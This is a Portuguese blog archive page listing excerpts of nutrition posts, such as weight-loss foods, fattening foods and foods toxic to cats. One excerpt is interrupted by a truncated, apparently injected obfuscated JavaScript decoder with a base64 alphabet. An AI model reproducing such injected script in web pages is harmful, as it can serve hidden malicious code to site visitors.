Jun 19, 2018 | Saúde e bem estar
10 alimentos que ajudam a emagrecer Não é apenas uma questão estética, é uma questão de saúde. Com uma incidência cada vez maior da obesidade e das doenças que lhe estão associadas, torna-se fundamental inverter este ciclo e apostar em alimentos bons, nutritivos,...
Mai 29, 2018 | Dicas úteis
Alimentos que engordam e as pessoas não fazem ideia Cada vez mais pessoas se preocupam com aquilo que estão a comer. Concorda com esta afirmação, verdade? É uma questão de saúde. Descubra aqui alguns alimentos que podem estar a fazer com que ganhe peso, mesmo que...
Mai 23, 2018 | Saúde e bem estar
Dicas saudáveis – os 7 alimentos que mais engordam Com a correria do dia-a-dia e com o stress em que vivemos actualmente, pode tornar-se difícil ter uma alimentação saudável. É por isso importante termos noção dos alimentos que mais engordam de forma a...
Mai 10, 2018 | perder peso, Saúde e bem estar
Alimentos com calorias negativas- o que são? O assunto de hoje interessa a muitas pessoas: os alimentos que têm calorias negativas. Teoricamente, os alimentos com calorias negativas são alimentos que necessitam de mais energia para gastar na digestão do que a que eles...
Set 2, 2017 | Dicas úteis
As bebidas ideais para cada alimento É bem mais do que uma questão de etiqueta! É importante saber escolher as bebidas ideais para cada tipo de alimento! Estas dicas têm em conta factores como valor nutricional, sabor e, claro, o prazer de acompanhar o seu prato...
Jun 7, 2017 | Saúde e bem estar
Os melhores alimentos para os dias de calor Está quase a chegar o verão mas os dias de calor já se fazem sentir. Além de ser absolutamente fundamental manter-se hidratado, o calor pede alimentos ricos em vitaminas e minerais. Por isso, hoje dou-lhe os melhores...
Jun 5, 2017 | Saúde e bem estar
Os alimentos ideais para cada horário Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 16, 2017 | Apanhados na rede
10 alimentos que não deve dar ao seu gato Sejam bebés ou adultos, os gatos necessitam de uma alimentação equilibrada que cumpra as suas necessidades nutricionais. Existem, no entanto, alguns alimentos que são verdadeiros venenos para os felinos e, que por isso,...
Abr 29, 2017 | Saúde e bem estar
Os 10 alimentos que nos mantêm mais jovens O segredo de uma pele jovem e bonita não passa apenas por cuidados de beleza que temos com o nosso rosto. A saúde da nossa pele e do nosso corpo começa primeiramente pela alimentação e por aquilo que ingerimos...
Abr 6, 2017 | Equilíbrio, Saúde e bem estar
7 alimentos que combatem as alergias da Primavera Com a chegada da Primavera, os dias começam a crescer, a temperatura a subir e fica tudo mais alegre. Mas, como não há bela sem senão, com a Primavera chega também o pólen e com ele os sintomas das alergias, como o...
